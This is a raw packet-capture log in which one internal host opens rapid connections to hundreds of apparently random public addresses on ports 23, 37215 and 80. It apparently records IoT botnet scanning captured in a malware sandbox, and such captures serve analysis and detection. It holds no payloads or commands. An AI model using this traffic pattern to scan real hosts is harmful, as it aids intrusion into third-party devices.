Feb 4, 2025 18:17:33.385853052 CET	47076	23	192.168.2.23	118.120.172.152
Feb 4, 2025 18:17:33.385853052 CET	47076	23	192.168.2.23	222.160.177.150
Feb 4, 2025 18:17:33.385854006 CET	47076	23	192.168.2.23	164.53.1.211
Feb 4, 2025 18:17:33.385854959 CET	47076	23	192.168.2.23	168.239.78.203
Feb 4, 2025 18:17:33.385855913 CET	35556	37215	192.168.2.23	156.26.23.13
Feb 4, 2025 18:17:33.385865927 CET	47076	23	192.168.2.23	158.232.130.72
Feb 4, 2025 18:17:33.385868073 CET	35556	37215	192.168.2.23	41.61.136.128
Feb 4, 2025 18:17:33.385874987 CET	35556	37215	192.168.2.23	197.42.216.91
Feb 4, 2025 18:17:33.385874987 CET	47076	23	192.168.2.23	196.181.156.127
Feb 4, 2025 18:17:33.385874987 CET	35556	37215	192.168.2.23	156.42.119.124
Feb 4, 2025 18:17:33.385878086 CET	35556	37215	192.168.2.23	41.14.208.172
Feb 4, 2025 18:17:33.385879040 CET	47076	23	192.168.2.23	129.100.144.57
Feb 4, 2025 18:17:33.385879040 CET	35556	37215	192.168.2.23	197.4.205.88
Feb 4, 2025 18:17:33.385884047 CET	35556	37215	192.168.2.23	41.105.187.249
Feb 4, 2025 18:17:33.385893106 CET	35556	37215	192.168.2.23	41.191.27.200
Feb 4, 2025 18:17:33.385896921 CET	35556	37215	192.168.2.23	156.255.7.165
Feb 4, 2025 18:17:33.385896921 CET	35556	37215	192.168.2.23	197.113.58.191
Feb 4, 2025 18:17:33.385898113 CET	47076	23	192.168.2.23	74.101.203.116
Feb 4, 2025 18:17:33.385898113 CET	35556	37215	192.168.2.23	197.255.128.255
Feb 4, 2025 18:17:33.385898113 CET	23	47076	163.99.12.45	192.168.2.23
Feb 4, 2025 18:17:33.385898113 CET	35556	37215	192.168.2.23	41.207.80.246
Feb 4, 2025 18:17:33.385898113 CET	35556	37215	192.168.2.23	41.66.127.185
Feb 4, 2025 18:17:33.385900021 CET	35556	37215	192.168.2.23	197.132.170.97
Feb 4, 2025 18:17:33.385900021 CET	35556	37215	192.168.2.23	156.30.35.202
Feb 4, 2025 18:17:33.385904074 CET	35556	37215	192.168.2.23	156.35.82.148
Feb 4, 2025 18:17:33.385904074 CET	23	47076	195.8.174.34	192.168.2.23
Feb 4, 2025 18:17:33.385907888 CET	35556	37215	192.168.2.23	197.248.81.226
Feb 4, 2025 18:17:33.385907888 CET	35556	37215	192.168.2.23	197.243.45.251
Feb 4, 2025 18:17:33.385910034 CET	23	47076	1.7.151.21	192.168.2.23
Feb 4, 2025 18:17:33.385914087 CET	23	47076	17.109.206.157	192.168.2.23
Feb 4, 2025 18:17:33.385919094 CET	23	47076	77.23.100.65	192.168.2.23
Feb 4, 2025 18:17:33.385920048 CET	35556	37215	192.168.2.23	156.58.194.9
Feb 4, 2025 18:17:33.385920048 CET	35556	37215	192.168.2.23	156.153.137.197
Feb 4, 2025 18:17:33.385922909 CET	23	47076	51.167.115.92	192.168.2.23
Feb 4, 2025 18:17:33.385927916 CET	23	47076	107.0.77.59	192.168.2.23
Feb 4, 2025 18:17:33.385930061 CET	35556	37215	192.168.2.23	41.162.216.119
Feb 4, 2025 18:17:33.385930061 CET	35556	37215	192.168.2.23	156.210.188.161
Feb 4, 2025 18:17:33.385930061 CET	47076	23	192.168.2.23	195.8.174.34
Feb 4, 2025 18:17:33.385931969 CET	23	47076	205.66.6.131	192.168.2.23
Feb 4, 2025 18:17:33.385932922 CET	47076	23	192.168.2.23	163.99.12.45
Feb 4, 2025 18:17:33.385932922 CET	47076	23	192.168.2.23	1.7.151.21
Feb 4, 2025 18:17:33.385936975 CET	23	47076	54.159.219.151	192.168.2.23
Feb 4, 2025 18:17:33.385945082 CET	23	47076	41.121.156.119	192.168.2.23
Feb 4, 2025 18:17:33.385945082 CET	47076	23	192.168.2.23	17.109.206.157
Feb 4, 2025 18:17:33.385948896 CET	23	47076	148.102.77.191	192.168.2.23
Feb 4, 2025 18:17:33.385951996 CET	47076	23	192.168.2.23	77.23.100.65
Feb 4, 2025 18:17:33.385956049 CET	47076	23	192.168.2.23	51.167.115.92
Feb 4, 2025 18:17:33.385956049 CET	47076	23	192.168.2.23	107.0.77.59
Feb 4, 2025 18:17:33.385962963 CET	23	47076	145.88.95.24	192.168.2.23
Feb 4, 2025 18:17:33.385965109 CET	35556	37215	192.168.2.23	156.28.105.152
Feb 4, 2025 18:17:33.385967016 CET	23	47076	174.178.10.135	192.168.2.23
Feb 4, 2025 18:17:33.385967970 CET	35556	37215	192.168.2.23	41.25.99.184
Feb 4, 2025 18:17:33.385976076 CET	47076	23	192.168.2.23	54.159.219.151
Feb 4, 2025 18:17:33.385982037 CET	35556	37215	192.168.2.23	41.246.66.210
Feb 4, 2025 18:17:33.385984898 CET	47076	23	192.168.2.23	41.121.156.119
Feb 4, 2025 18:17:33.385984898 CET	35556	37215	192.168.2.23	197.136.37.104
Feb 4, 2025 18:17:33.385987043 CET	35556	37215	192.168.2.23	156.245.255.180
Feb 4, 2025 18:17:33.385998011 CET	47076	23	192.168.2.23	148.102.77.191
Feb 4, 2025 18:17:33.385998011 CET	47076	23	192.168.2.23	174.178.10.135
Feb 4, 2025 18:17:33.386003017 CET	47076	23	192.168.2.23	145.88.95.24
Feb 4, 2025 18:17:33.386009932 CET	35556	37215	192.168.2.23	41.56.1.200
Feb 4, 2025 18:17:33.386009932 CET	47076	23	192.168.2.23	205.66.6.131
Feb 4, 2025 18:17:33.386010885 CET	35556	37215	192.168.2.23	41.234.233.193
Feb 4, 2025 18:17:33.386010885 CET	35556	37215	192.168.2.23	41.244.255.195
Feb 4, 2025 18:17:33.386012077 CET	23	47076	165.165.112.181	192.168.2.23
Feb 4, 2025 18:17:33.386017084 CET	23	47076	38.25.23.113	192.168.2.23
Feb 4, 2025 18:17:33.386019945 CET	35556	37215	192.168.2.23	41.14.18.119
Feb 4, 2025 18:17:33.386024952 CET	35556	37215	192.168.2.23	41.143.215.112
Feb 4, 2025 18:17:33.386032104 CET	35556	37215	192.168.2.23	156.169.188.183
Feb 4, 2025 18:17:33.386032104 CET	35556	37215	192.168.2.23	197.167.130.147
Feb 4, 2025 18:17:33.386039972 CET	35556	37215	192.168.2.23	156.149.75.220
Feb 4, 2025 18:17:33.386040926 CET	47076	23	192.168.2.23	38.25.23.113
Feb 4, 2025 18:17:33.386044025 CET	47076	23	192.168.2.23	165.165.112.181
Feb 4, 2025 18:17:33.386044025 CET	23	47076	138.63.178.16	192.168.2.23
Feb 4, 2025 18:17:33.386053085 CET	35556	37215	192.168.2.23	197.155.43.53
Feb 4, 2025 18:17:33.386060953 CET	23	47076	193.168.14.237	192.168.2.23
Feb 4, 2025 18:17:33.386063099 CET	35556	37215	192.168.2.23	197.163.73.215
Feb 4, 2025 18:17:33.386070967 CET	35556	37215	192.168.2.23	156.131.22.54
Feb 4, 2025 18:17:33.386071920 CET	35556	37215	192.168.2.23	197.211.77.129
Feb 4, 2025 18:17:33.386080980 CET	35556	37215	192.168.2.23	156.242.218.188
Feb 4, 2025 18:17:33.386081934 CET	47076	23	192.168.2.23	138.63.178.16
Feb 4, 2025 18:17:33.386104107 CET	35556	37215	192.168.2.23	197.9.237.95
Feb 4, 2025 18:17:33.386105061 CET	47076	23	192.168.2.23	193.168.14.237
Feb 4, 2025 18:17:33.386106968 CET	35556	37215	192.168.2.23	156.58.77.114
Feb 4, 2025 18:17:33.386107922 CET	35556	37215	192.168.2.23	156.241.214.150
Feb 4, 2025 18:17:33.386113882 CET	35556	37215	192.168.2.23	197.115.79.193
Feb 4, 2025 18:17:33.386121988 CET	35556	37215	192.168.2.23	197.172.190.79
Feb 4, 2025 18:17:33.386127949 CET	35556	37215	192.168.2.23	197.101.117.123
Feb 4, 2025 18:17:33.386147022 CET	35556	37215	192.168.2.23	41.223.7.149
Feb 4, 2025 18:17:33.386164904 CET	35556	37215	192.168.2.23	197.236.13.40
Feb 4, 2025 18:17:33.386166096 CET	35556	37215	192.168.2.23	156.20.10.101
Feb 4, 2025 18:17:33.386166096 CET	35556	37215	192.168.2.23	156.163.111.248
Feb 4, 2025 18:17:33.386168957 CET	35556	37215	192.168.2.23	197.40.20.241
Feb 4, 2025 18:17:33.386168957 CET	35556	37215	192.168.2.23	197.87.27.84
Feb 4, 2025 18:17:33.386173010 CET	35556	37215	192.168.2.23	197.34.129.170
Feb 4, 2025 18:17:33.386173010 CET	35556	37215	192.168.2.23	156.214.120.178
Feb 4, 2025 18:17:33.386173964 CET	35556	37215	192.168.2.23	197.160.47.88
Feb 4, 2025 18:17:33.386174917 CET	35556	37215	192.168.2.23	41.156.70.156
Feb 4, 2025 18:17:33.386190891 CET	35556	37215	192.168.2.23	156.122.210.43
Feb 4, 2025 18:17:33.386190891 CET	35556	37215	192.168.2.23	156.216.131.176
Feb 4, 2025 18:17:33.386198997 CET	35556	37215	192.168.2.23	197.64.220.124
Feb 4, 2025 18:17:33.386202097 CET	35556	37215	192.168.2.23	197.210.56.61
Feb 4, 2025 18:17:33.386213064 CET	35556	37215	192.168.2.23	156.131.238.116
Feb 4, 2025 18:17:33.386214972 CET	35556	37215	192.168.2.23	156.200.204.59
Feb 4, 2025 18:17:33.386219978 CET	35556	37215	192.168.2.23	197.216.56.114
Feb 4, 2025 18:17:33.386223078 CET	35556	37215	192.168.2.23	156.194.236.112
Feb 4, 2025 18:17:33.386224031 CET	35556	37215	192.168.2.23	156.234.64.120
Feb 4, 2025 18:17:33.386224031 CET	35556	37215	192.168.2.23	41.68.107.111
Feb 4, 2025 18:17:33.386234045 CET	35556	37215	192.168.2.23	197.217.170.238
Feb 4, 2025 18:17:33.386236906 CET	35556	37215	192.168.2.23	41.136.33.122
Feb 4, 2025 18:17:33.386236906 CET	35556	37215	192.168.2.23	197.186.178.188
Feb 4, 2025 18:17:33.386245966 CET	35556	37215	192.168.2.23	156.169.99.123
Feb 4, 2025 18:17:33.386245966 CET	35556	37215	192.168.2.23	156.139.14.39
Feb 4, 2025 18:17:33.386259079 CET	35556	37215	192.168.2.23	197.104.235.252
Feb 4, 2025 18:17:33.386259079 CET	35556	37215	192.168.2.23	197.243.71.67
Feb 4, 2025 18:17:33.386262894 CET	35556	37215	192.168.2.23	197.84.51.83
Feb 4, 2025 18:17:33.386265039 CET	35556	37215	192.168.2.23	156.240.225.210
Feb 4, 2025 18:17:33.386272907 CET	35556	37215	192.168.2.23	156.18.103.115
Feb 4, 2025 18:17:33.386274099 CET	35556	37215	192.168.2.23	156.89.5.190
Feb 4, 2025 18:17:33.386282921 CET	35556	37215	192.168.2.23	156.196.107.253
Feb 4, 2025 18:17:33.386291981 CET	35556	37215	192.168.2.23	197.208.227.193
Feb 4, 2025 18:17:33.386296988 CET	35556	37215	192.168.2.23	156.26.178.252
Feb 4, 2025 18:17:33.386317968 CET	35556	37215	192.168.2.23	41.147.13.222
Feb 4, 2025 18:17:33.386317968 CET	35556	37215	192.168.2.23	156.206.1.146
Feb 4, 2025 18:17:33.386321068 CET	35556	37215	192.168.2.23	41.185.100.231
Feb 4, 2025 18:17:33.386321068 CET	35556	37215	192.168.2.23	41.73.37.241
Feb 4, 2025 18:17:33.386322975 CET	35556	37215	192.168.2.23	41.197.10.253
Feb 4, 2025 18:17:33.386327982 CET	35556	37215	192.168.2.23	41.31.208.97
Feb 4, 2025 18:17:33.386327982 CET	35556	37215	192.168.2.23	197.72.19.157
Feb 4, 2025 18:17:33.386342049 CET	35556	37215	192.168.2.23	156.227.116.243
Feb 4, 2025 18:17:33.386353016 CET	35556	37215	192.168.2.23	156.30.90.49
Feb 4, 2025 18:17:33.386353016 CET	35556	37215	192.168.2.23	156.98.215.249
Feb 4, 2025 18:17:33.386353016 CET	35556	37215	192.168.2.23	197.42.35.58
Feb 4, 2025 18:17:33.386358976 CET	35556	37215	192.168.2.23	197.145.5.177
Feb 4, 2025 18:17:33.386363029 CET	35556	37215	192.168.2.23	41.235.205.22
Feb 4, 2025 18:17:33.386365891 CET	35556	37215	192.168.2.23	41.203.223.11
Feb 4, 2025 18:17:33.386378050 CET	35556	37215	192.168.2.23	41.96.58.185
Feb 4, 2025 18:17:33.386378050 CET	35556	37215	192.168.2.23	156.245.34.216
Feb 4, 2025 18:17:33.386379004 CET	35556	37215	192.168.2.23	197.90.175.21
Feb 4, 2025 18:17:33.386384010 CET	35556	37215	192.168.2.23	197.10.206.90
Feb 4, 2025 18:17:33.386387110 CET	35556	37215	192.168.2.23	41.9.152.69
Feb 4, 2025 18:17:33.386389971 CET	35556	37215	192.168.2.23	156.26.90.131
Feb 4, 2025 18:17:33.386389971 CET	35556	37215	192.168.2.23	156.58.202.180
Feb 4, 2025 18:17:33.386403084 CET	35556	37215	192.168.2.23	156.197.111.247
Feb 4, 2025 18:17:33.386415958 CET	35556	37215	192.168.2.23	41.161.190.140
Feb 4, 2025 18:17:33.386416912 CET	35556	37215	192.168.2.23	156.30.118.215
Feb 4, 2025 18:17:33.386428118 CET	35556	37215	192.168.2.23	197.129.29.103
Feb 4, 2025 18:17:33.386430979 CET	35556	37215	192.168.2.23	156.48.69.108
Feb 4, 2025 18:17:33.386434078 CET	35556	37215	192.168.2.23	156.81.188.57
Feb 4, 2025 18:17:33.386435032 CET	35556	37215	192.168.2.23	156.138.134.195
Feb 4, 2025 18:17:33.386435032 CET	35556	37215	192.168.2.23	156.126.169.216
Feb 4, 2025 18:17:33.386441946 CET	35556	37215	192.168.2.23	156.128.245.81
Feb 4, 2025 18:17:33.386442900 CET	35556	37215	192.168.2.23	156.43.128.214
Feb 4, 2025 18:17:33.386445045 CET	35556	37215	192.168.2.23	41.133.46.154
Feb 4, 2025 18:17:33.386451006 CET	35556	37215	192.168.2.23	41.207.134.81
Feb 4, 2025 18:17:33.386460066 CET	35556	37215	192.168.2.23	197.83.48.3
Feb 4, 2025 18:17:33.386465073 CET	35556	37215	192.168.2.23	156.20.45.54
Feb 4, 2025 18:17:33.386465073 CET	35556	37215	192.168.2.23	156.22.49.97
Feb 4, 2025 18:17:33.386466980 CET	35556	37215	192.168.2.23	41.255.51.91
Feb 4, 2025 18:17:33.386522055 CET	58152	37215	192.168.2.23	197.198.216.23
Feb 4, 2025 18:17:33.386529922 CET	23	47076	131.149.152.13	192.168.2.23
Feb 4, 2025 18:17:33.386543989 CET	23	47076	67.197.46.90	192.168.2.23
Feb 4, 2025 18:17:33.386550903 CET	23	47076	109.192.164.253	192.168.2.23
Feb 4, 2025 18:17:33.386564970 CET	47076	23	192.168.2.23	131.149.152.13
Feb 4, 2025 18:17:33.386565924 CET	47076	23	192.168.2.23	67.197.46.90
Feb 4, 2025 18:17:33.386604071 CET	23	47076	162.105.128.155	192.168.2.23
Feb 4, 2025 18:17:33.386621952 CET	47076	23	192.168.2.23	109.192.164.253
Feb 4, 2025 18:17:33.386641026 CET	47076	23	192.168.2.23	162.105.128.155
Feb 4, 2025 18:17:33.386662960 CET	23	47076	128.237.64.134	192.168.2.23
Feb 4, 2025 18:17:33.386667967 CET	23	47076	74.188.47.228	192.168.2.23
Feb 4, 2025 18:17:33.386672020 CET	23	47076	158.235.139.240	192.168.2.23
Feb 4, 2025 18:17:33.386677027 CET	23	47076	52.83.128.27	192.168.2.23
Feb 4, 2025 18:17:33.386681080 CET	23	47076	101.29.243.218	192.168.2.23
Feb 4, 2025 18:17:33.386710882 CET	47076	23	192.168.2.23	128.237.64.134
Feb 4, 2025 18:17:33.386710882 CET	47076	23	192.168.2.23	74.188.47.228
Feb 4, 2025 18:17:33.386710882 CET	47076	23	192.168.2.23	158.235.139.240
Feb 4, 2025 18:17:33.386715889 CET	47076	23	192.168.2.23	52.83.128.27
Feb 4, 2025 18:17:33.386722088 CET	23	47076	48.245.206.201	192.168.2.23
Feb 4, 2025 18:17:33.386729956 CET	23	47076	88.207.201.204	192.168.2.23
Feb 4, 2025 18:17:33.386729956 CET	47076	23	192.168.2.23	101.29.243.218
Feb 4, 2025 18:17:33.386744022 CET	23	47076	142.93.81.210	192.168.2.23
Feb 4, 2025 18:17:33.386753082 CET	23	47076	13.30.0.134	192.168.2.23
Feb 4, 2025 18:17:33.386775970 CET	47076	23	192.168.2.23	48.245.206.201
Feb 4, 2025 18:17:33.386785030 CET	47076	23	192.168.2.23	88.207.201.204
Feb 4, 2025 18:17:33.386812925 CET	47076	23	192.168.2.23	13.30.0.134
Feb 4, 2025 18:17:33.386814117 CET	47076	23	192.168.2.23	142.93.81.210
Feb 4, 2025 18:17:33.386833906 CET	46308	80	192.168.2.23	168.161.179.125
Feb 4, 2025 18:17:33.386833906 CET	46308	80	192.168.2.23	164.170.196.230
Feb 4, 2025 18:17:33.386852980 CET	46308	80	192.168.2.23	223.196.241.244
Feb 4, 2025 18:17:33.386852980 CET	46308	80	192.168.2.23	36.158.227.154
Feb 4, 2025 18:17:33.386858940 CET	46308	80	192.168.2.23	98.188.86.248
Feb 4, 2025 18:17:33.386862993 CET	46308	80	192.168.2.23	112.244.140.195
Feb 4, 2025 18:17:33.386862993 CET	46308	80	192.168.2.23	186.80.5.21
Feb 4, 2025 18:17:33.386868000 CET	46308	80	192.168.2.23	133.1.178.7
Feb 4, 2025 18:17:33.386868954 CET	46308	80	192.168.2.23	75.196.33.224
Feb 4, 2025 18:17:33.386874914 CET	46308	80	192.168.2.23	114.93.127.245
Feb 4, 2025 18:17:33.386887074 CET	46308	80	192.168.2.23	220.110.105.120
Feb 4, 2025 18:17:33.386888027 CET	46308	80	192.168.2.23	75.243.149.134
Feb 4, 2025 18:17:33.386889935 CET	46308	80	192.168.2.23	220.213.146.4
Feb 4, 2025 18:17:33.386897087 CET	23	47076	193.1.50.56	192.168.2.23
Feb 4, 2025 18:17:33.386902094 CET	23	47076	186.248.8.190	192.168.2.23
Feb 4, 2025 18:17:33.386907101 CET	23	47076	190.80.45.55	192.168.2.23
Feb 4, 2025 18:17:33.386908054 CET	46308	80	192.168.2.23	191.144.240.20
Feb 4, 2025 18:17:33.386912107 CET	23	47076	98.186.198.221	192.168.2.23
Feb 4, 2025 18:17:33.386913061 CET	46308	80	192.168.2.23	221.215.92.142
Feb 4, 2025 18:17:33.386914015 CET	46308	80	192.168.2.23	188.110.94.10
Feb 4, 2025 18:17:33.386915922 CET	23	47076	74.124.123.134	192.168.2.23
Feb 4, 2025 18:17:33.386920929 CET	23	47076	134.156.41.212	192.168.2.23
Feb 4, 2025 18:17:33.386921883 CET	46308	80	192.168.2.23	19.230.38.16
Feb 4, 2025 18:17:33.386921883 CET	47076	23	192.168.2.23	193.1.50.56
Feb 4, 2025 18:17:33.386924982 CET	23	47076	212.195.254.104	192.168.2.23
Feb 4, 2025 18:17:33.386929989 CET	23	47076	126.234.21.210	192.168.2.23
Feb 4, 2025 18:17:33.386936903 CET	47076	23	192.168.2.23	186.248.8.190
Feb 4, 2025 18:17:33.386936903 CET	47076	23	192.168.2.23	190.80.45.55
Feb 4, 2025 18:17:33.386940956 CET	23	47076	36.36.137.221	192.168.2.23
Feb 4, 2025 18:17:33.386945963 CET	23	47076	164.28.104.109	192.168.2.23
Feb 4, 2025 18:17:33.386949062 CET	47076	23	192.168.2.23	74.124.123.134
Feb 4, 2025 18:17:33.386950970 CET	23	47076	134.129.209.246	192.168.2.23
Feb 4, 2025 18:17:33.386954069 CET	47076	23	192.168.2.23	134.156.41.212
Feb 4, 2025 18:17:33.386955976 CET	23	47076	221.128.13.81	192.168.2.23
Feb 4, 2025 18:17:33.386955976 CET	47076	23	192.168.2.23	98.186.198.221
Feb 4, 2025 18:17:33.386957884 CET	47076	23	192.168.2.23	126.234.21.210
Feb 4, 2025 18:17:33.386960030 CET	47076	23	192.168.2.23	212.195.254.104
Feb 4, 2025 18:17:33.386960983 CET	23	47076	222.227.175.209	192.168.2.23
Feb 4, 2025 18:17:33.386967897 CET	23	47076	197.13.37.222	192.168.2.23
Feb 4, 2025 18:17:33.386969090 CET	47076	23	192.168.2.23	36.36.137.221
Feb 4, 2025 18:17:33.386977911 CET	47076	23	192.168.2.23	164.28.104.109
Feb 4, 2025 18:17:33.386977911 CET	47076	23	192.168.2.23	134.129.209.246
Feb 4, 2025 18:17:33.386985064 CET	23	47076	65.85.51.61	192.168.2.23
Feb 4, 2025 18:17:33.386992931 CET	47076	23	192.168.2.23	221.128.13.81
Feb 4, 2025 18:17:33.386992931 CET	46308	80	192.168.2.23	18.153.133.86
Feb 4, 2025 18:17:33.387002945 CET	46308	80	192.168.2.23	162.113.15.168
Feb 4, 2025 18:17:33.387006998 CET	46308	80	192.168.2.23	1.95.234.250
Feb 4, 2025 18:17:33.387006998 CET	46308	80	192.168.2.23	170.180.195.107
Feb 4, 2025 18:17:33.387006998 CET	47076	23	192.168.2.23	197.13.37.222
Feb 4, 2025 18:17:33.387006998 CET	47076	23	192.168.2.23	65.85.51.61
Feb 4, 2025 18:17:33.387011051 CET	47076	23	192.168.2.23	222.227.175.209
Feb 4, 2025 18:17:33.387010098 CET	46308	80	192.168.2.23	48.167.191.10
Feb 4, 2025 18:17:33.387017965 CET	46308	80	192.168.2.23	206.158.93.167
Feb 4, 2025 18:17:33.387036085 CET	46308	80	192.168.2.23	43.234.222.225
Feb 4, 2025 18:17:33.387037039 CET	46308	80	192.168.2.23	141.72.102.79
Feb 4, 2025 18:17:33.387038946 CET	46308	80	192.168.2.23	25.60.72.224
Feb 4, 2025 18:17:33.387046099 CET	46308	80	192.168.2.23	209.241.190.217
Feb 4, 2025 18:17:33.387047052 CET	46308	80	192.168.2.23	36.207.77.6
Feb 4, 2025 18:17:33.387047052 CET	46308	80	192.168.2.23	203.200.28.50
Feb 4, 2025 18:17:33.387056112 CET	46308	80	192.168.2.23	190.105.1.115
Feb 4, 2025 18:17:33.387067080 CET	46308	80	192.168.2.23	62.235.34.239
Feb 4, 2025 18:17:33.387069941 CET	46308	80	192.168.2.23	188.204.216.154
Feb 4, 2025 18:17:33.387069941 CET	46308	80	192.168.2.23	115.248.39.191
Feb 4, 2025 18:17:33.387083054 CET	46308	80	192.168.2.23	182.189.25.141
Feb 4, 2025 18:17:33.387083054 CET	46308	80	192.168.2.23	204.98.52.19
Feb 4, 2025 18:17:33.387089968 CET	46308	80	192.168.2.23	164.138.147.248
Feb 4, 2025 18:17:33.387098074 CET	46308	80	192.168.2.23	41.178.26.8
Feb 4, 2025 18:17:33.387100935 CET	46308	80	192.168.2.23	41.29.190.251
Feb 4, 2025 18:17:33.387104034 CET	46308	80	192.168.2.23	47.1.94.31
Feb 4, 2025 18:17:33.387115002 CET	46308	80	192.168.2.23	65.127.215.80
Feb 4, 2025 18:17:33.387115002 CET	46308	80	192.168.2.23	138.211.119.39
Feb 4, 2025 18:17:33.387118101 CET	46308	80	192.168.2.23	47.208.205.113
Feb 4, 2025 18:17:33.387126923 CET	46308	80	192.168.2.23	44.232.227.137
Feb 4, 2025 18:17:33.387131929 CET	46308	80	192.168.2.23	99.95.44.9
Feb 4, 2025 18:17:33.387132883 CET	46308	80	192.168.2.23	31.165.211.204
Feb 4, 2025 18:17:33.387132883 CET	46308	80	192.168.2.23	182.118.33.253
Feb 4, 2025 18:17:33.387140036 CET	46308	80	192.168.2.23	178.105.150.20
Feb 4, 2025 18:17:33.387151003 CET	46308	80	192.168.2.23	187.255.196.132
Feb 4, 2025 18:17:33.387156963 CET	46308	80	192.168.2.23	99.244.223.16
Feb 4, 2025 18:17:33.387156963 CET	46308	80	192.168.2.23	2.209.40.244
Feb 4, 2025 18:17:33.387171030 CET	46308	80	192.168.2.23	217.183.134.135
Feb 4, 2025 18:17:33.387176991 CET	46308	80	192.168.2.23	43.131.204.191
Feb 4, 2025 18:17:33.387182951 CET	46308	80	192.168.2.23	85.180.253.193
Feb 4, 2025 18:17:33.387195110 CET	46308	80	192.168.2.23	197.116.230.168
Feb 4, 2025 18:17:33.387203932 CET	46308	80	192.168.2.23	53.45.116.181
Feb 4, 2025 18:17:33.387212038 CET	46308	80	192.168.2.23	1.146.109.196
Feb 4, 2025 18:17:33.387214899 CET	46308	80	192.168.2.23	145.159.254.249
Feb 4, 2025 18:17:33.387217999 CET	46308	80	192.168.2.23	168.63.115.39
Feb 4, 2025 18:17:33.387228966 CET	46308	80	192.168.2.23	223.240.63.135
Feb 4, 2025 18:17:33.387229919 CET	46308	80	192.168.2.23	206.23.245.113
Feb 4, 2025 18:17:33.387229919 CET	46308	80	192.168.2.23	51.24.165.44
Feb 4, 2025 18:17:33.387233019 CET	46308	80	192.168.2.23	180.228.221.40
Feb 4, 2025 18:17:33.387243986 CET	46308	80	192.168.2.23	134.33.39.53
Feb 4, 2025 18:17:33.387250900 CET	46308	80	192.168.2.23	154.83.72.84
Feb 4, 2025 18:17:33.387254953 CET	46308	80	192.168.2.23	145.189.77.172
Feb 4, 2025 18:17:33.387257099 CET	46308	80	192.168.2.23	153.114.18.72
Feb 4, 2025 18:17:33.387257099 CET	46308	80	192.168.2.23	223.73.213.30
Feb 4, 2025 18:17:33.387257099 CET	46308	80	192.168.2.23	222.171.93.150
Feb 4, 2025 18:17:33.387271881 CET	46308	80	192.168.2.23	203.57.150.98
Feb 4, 2025 18:17:33.387275934 CET	46308	80	192.168.2.23	34.115.153.146
Feb 4, 2025 18:17:33.387275934 CET	46308	80	192.168.2.23	34.140.79.219
Feb 4, 2025 18:17:33.387289047 CET	46308	80	192.168.2.23	146.88.165.73
Feb 4, 2025 18:17:33.387294054 CET	46308	80	192.168.2.23	124.5.231.242
Feb 4, 2025 18:17:33.387295008 CET	46308	80	192.168.2.23	211.43.66.120
Feb 4, 2025 18:17:33.387303114 CET	46308	80	192.168.2.23	89.123.62.253
Feb 4, 2025 18:17:33.387303114 CET	46308	80	192.168.2.23	182.152.145.249
Feb 4, 2025 18:17:33.387304068 CET	46308	80	192.168.2.23	204.84.169.177
Feb 4, 2025 18:17:33.387304068 CET	46308	80	192.168.2.23	126.92.136.131
Feb 4, 2025 18:17:33.387305975 CET	46308	80	192.168.2.23	86.183.55.167
Feb 4, 2025 18:17:33.387317896 CET	46308	80	192.168.2.23	96.225.12.244
Feb 4, 2025 18:17:33.387320995 CET	46308	80	192.168.2.23	149.93.104.168
Feb 4, 2025 18:17:33.387330055 CET	46308	80	192.168.2.23	51.247.229.14
Feb 4, 2025 18:17:33.387341022 CET	46308	80	192.168.2.23	131.1.107.117
Feb 4, 2025 18:17:33.387341976 CET	46308	80	192.168.2.23	143.179.98.65
Feb 4, 2025 18:17:33.387358904 CET	46308	80	192.168.2.23	48.159.141.65
Feb 4, 2025 18:17:33.387360096 CET	46308	80	192.168.2.23	65.58.188.236
Feb 4, 2025 18:17:33.387360096 CET	46308	80	192.168.2.23	79.174.25.44
Feb 4, 2025 18:17:33.387363911 CET	46308	80	192.168.2.23	27.96.81.101
Feb 4, 2025 18:17:33.387368917 CET	46308	80	192.168.2.23	66.221.57.190
Feb 4, 2025 18:17:33.387375116 CET	46308	80	192.168.2.23	132.177.134.174
Feb 4, 2025 18:17:33.387377977 CET	46308	80	192.168.2.23	63.143.220.209
Feb 4, 2025 18:17:33.387378931 CET	46308	80	192.168.2.23	117.219.18.59
Feb 4, 2025 18:17:33.387388945 CET	46308	80	192.168.2.23	45.209.82.55
Feb 4, 2025 18:17:33.387392998 CET	46308	80	192.168.2.23	146.47.165.239
Feb 4, 2025 18:17:33.387392998 CET	46308	80	192.168.2.23	1.212.114.55
Feb 4, 2025 18:17:33.387393951 CET	46308	80	192.168.2.23	188.243.216.70
Feb 4, 2025 18:17:33.387394905 CET	46308	80	192.168.2.23	148.13.161.244
Feb 4, 2025 18:17:33.387402058 CET	46308	80	192.168.2.23	141.110.82.69
Feb 4, 2025 18:17:33.387403011 CET	46308	80	192.168.2.23	50.197.63.75
Feb 4, 2025 18:17:33.387403011 CET	46308	80	192.168.2.23	106.169.100.6
Feb 4, 2025 18:17:33.387418032 CET	46308	80	192.168.2.23	23.29.132.169
Feb 4, 2025 18:17:33.387418032 CET	46308	80	192.168.2.23	173.109.214.162
Feb 4, 2025 18:17:33.387423992 CET	46308	80	192.168.2.23	112.125.99.68
Feb 4, 2025 18:17:33.387428045 CET	46308	80	192.168.2.23	47.137.172.70
Feb 4, 2025 18:17:33.387430906 CET	46308	80	192.168.2.23	162.222.54.131
Feb 4, 2025 18:17:33.387437105 CET	46308	80	192.168.2.23	9.13.81.122
Feb 4, 2025 18:17:33.387450933 CET	46308	80	192.168.2.23	102.13.49.132
Feb 4, 2025 18:17:33.387464046 CET	46308	80	192.168.2.23	142.28.241.202
Feb 4, 2025 18:17:33.387464046 CET	46308	80	192.168.2.23	12.200.139.96
Feb 4, 2025 18:17:33.387464046 CET	46308	80	192.168.2.23	205.205.124.1
Feb 4, 2025 18:17:33.387464046 CET	46308	80	192.168.2.23	207.121.200.61
Feb 4, 2025 18:17:33.387475014 CET	46308	80	192.168.2.23	49.45.217.195
Feb 4, 2025 18:17:33.387480974 CET	23	47076	149.246.67.32	192.168.2.23
Feb 4, 2025 18:17:33.387480974 CET	46308	80	192.168.2.23	146.157.25.182
Feb 4, 2025 18:17:33.387480974 CET	46308	80	192.168.2.23	134.120.194.197
Feb 4, 2025 18:17:33.387486935 CET	23	47076	40.210.117.85	192.168.2.23
Feb 4, 2025 18:17:33.387490988 CET	23	47076	184.222.176.161	192.168.2.23
Feb 4, 2025 18:17:33.387495995 CET	23	47076	78.190.146.161	192.168.2.23
Feb 4, 2025 18:17:33.387497902 CET	46308	80	192.168.2.23	97.4.185.11
Feb 4, 2025 18:17:33.387501001 CET	46308	80	192.168.2.23	44.181.72.14
Feb 4, 2025 18:17:33.387504101 CET	46308	80	192.168.2.23	31.20.133.212
Feb 4, 2025 18:17:33.387505054 CET	23	47076	51.127.223.131	192.168.2.23
